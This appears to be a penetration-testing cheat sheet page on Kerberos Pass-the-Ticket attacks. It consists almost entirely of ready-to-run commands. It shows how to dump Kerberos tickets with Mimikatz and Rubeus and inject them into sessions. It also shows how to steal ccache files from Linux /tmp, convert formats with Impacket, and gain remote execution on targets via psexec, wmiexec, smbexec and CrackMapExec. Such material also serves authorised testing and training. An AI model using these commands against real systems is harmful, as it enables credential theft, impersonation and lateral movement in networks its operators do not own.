Pass-the-Ticket

Overview

Inject stolen Kerberos ticket (TGT or TGS) into session. No password or hash needed — just the ticket.

Export Tickets — Mimikatz

mimikatz # sekurlsa::tickets /export

Creates .kirbi files in current directory.

Export Tickets — Rubeus

.\Rubeus.exe dump
.\Rubeus.exe dump /luid:0x3e4 /nowrap
.\Rubeus.exe triage                             # List tickets

Inject Ticket — Mimikatz

mimikatz # kerberos::ptt ticket.kirbi

Verify:

klist

Inject Ticket — Rubeus

.\Rubeus.exe ptt /ticket:BASE64_TICKET
.\Rubeus.exe ptt /ticket:ticket.kirbi

Linux — .ccache Files

Convert .kirbi to .ccache

impacket-ticketConverter ticket.kirbi ticket.ccache

Convert .ccache to .kirbi

impacket-ticketConverter ticket.ccache ticket.kirbi

Use .ccache

export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec DOMAIN/user@TARGET -k -no-pass
impacket-wmiexec DOMAIN/user@TARGET -k -no-pass
impacket-smbexec DOMAIN/user@TARGET -k -no-pass

Steal Tickets from Linux

ls /tmp/krb5cc_*                     # Default ticket location
cp /tmp/krb5cc_1000 /tmp/stolen.ccache
export KRB5CCNAME=/tmp/stolen.ccache

CrackMapExec with Ticket

Use --use-kcache to authenticate from the KRB5CCNAME ccache (the -k flag uses Kerberos with supplied credentials and needs -p/-H/--aesKey). --use-kcache also reads the user from the ticket, so -u is unnecessary.

export KRB5CCNAME=ticket.ccache
crackmapexec smb TARGET --use-kcache

Quick Reference

Task	Command
Export	`mimikatz # sekurlsa::tickets /export`
Inject (Win)	`mimikatz # kerberos::ptt ticket.kirbi`
Convert	`impacket-ticketConverter file.kirbi file.ccache`
Use (Linux)	`export KRB5CCNAME=file.ccache` → `-k -no-pass`
Verify	`klist`

Enumeration

Attacks

Lateral Movement

Persistence

ADCS

Trust Attacks

BloodHound

Pass-the-Ticket

Overview

Export Tickets — Mimikatz

Export Tickets — Rubeus

Inject Ticket — Mimikatz

Inject Ticket — Rubeus

Linux — .ccache Files

Convert .kirbi to .ccache

Convert .ccache to .kirbi

Use .ccache

Steal Tickets from Linux

CrackMapExec with Ticket

Quick Reference

​Overview

​Export Tickets — Mimikatz

​Export Tickets — Rubeus

​Inject Ticket — Mimikatz

​Inject Ticket — Rubeus

​Linux — .ccache Files

​Convert .kirbi to .ccache

​Convert .ccache to .kirbi

​Use .ccache

​Steal Tickets from Linux

​CrackMapExec with Ticket

​Quick Reference

Overview

Export Tickets — Mimikatz

Export Tickets — Rubeus

Inject Ticket — Mimikatz

Inject Ticket — Rubeus

Linux — .ccache Files

Convert .kirbi to .ccache

Convert .ccache to .kirbi

Use .ccache

Steal Tickets from Linux

CrackMapExec with Ticket

Quick Reference